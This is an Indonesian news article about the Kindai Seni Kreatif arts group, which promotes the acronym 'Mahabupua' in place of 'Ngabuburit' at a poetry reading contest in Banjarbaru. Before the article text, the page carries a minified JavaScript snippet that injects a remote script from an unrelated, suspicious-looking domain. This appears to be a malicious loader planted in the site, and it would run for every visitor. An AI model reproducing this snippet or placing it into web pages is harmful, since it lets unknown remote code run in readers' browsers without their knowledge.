(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kindai Seni Kreatif Kenalkan “Mahabupua” Gantikan “Ngabuburit”

KANALKALIMANTAN.COM, BANJARBARU – Kindai Seni Kreatif mengenalkan kata Mahabupua pengganti kata Ngabuburit yang biasa diartikan kegiatan menunggu adzan magrib menjelang berbuka puasa.

Pengenalan kata Mahabupua ini dibalut dengan lomba puisi di Jalan Kurihing, Kelurahan Landasan Ulin Utara, Kecamatan Liang Anggang, Kota Banjarbaru, Minggu (26/3/2023)

Founder Kindai Seni Kreatif, Ali Syamsudin Arsy mengatakan kosakata Mahabupua merupakan kata usulannya. Mahabupua merupakan singkatan dari Mahadang Buka Puasa.

“Mahabupua hanya akronim, bahasa Banjar juga ada akronim digunakan,” ujarnya.

Diungkapkannya, memang banyak teman-temannya yang menolak usulan tersebut, tapi Ia berdalih jika banyak orang yang mengetahui dan memakai kata tersebut maka diperbolehkan.

“Ini memang ada mengubah penggunaan kata Ngabuburit,” sebutnya.

Dijelaskan Ali Syamsudin, kata Ngabuburit ini diujung kata tersebut Ia menilai ada kata yang tidak pantas (vulgar) dalam konteks bahasa Banjar.

Founder Kindai Seni Kreatif, Ali Syamsudin Arsy. Foto: ibnu

Disebutkannya, Ia terus mensosialisasikan kata tersebut. Dalam lomba baca puisi ini pun rata-rata pesertanya masih dalam tingkatan pelajar dan mahasiswa.

Selain mengadakan lomba baca puisi, Kindai Seni Kreatif nantinya juga menggelar Tadarus Seni dan Kemah Sastra.

“Sambil mensosialisasikan kata Mahabupua, kemudian edukasi pelajar dan mahasiswa,” bebernya.

Lebih jauh, Ia menuturkan, Kindai Seni Kreatif memiliki cara tersendiri disamping dukungan dinas maupun rekan-rekannya dalam mengembang dan mensosialisasikan kata tersebut.

Salah seorang peserta, Zahra mengatakan baru pertama mengikuti lomba baca puisi dengan maksud mengisi waktu luangnya sambil menunggu waktu berbuka puasa. (kanalkalimantan.com/ibnu)

Reporter: ibnu
Editor: cell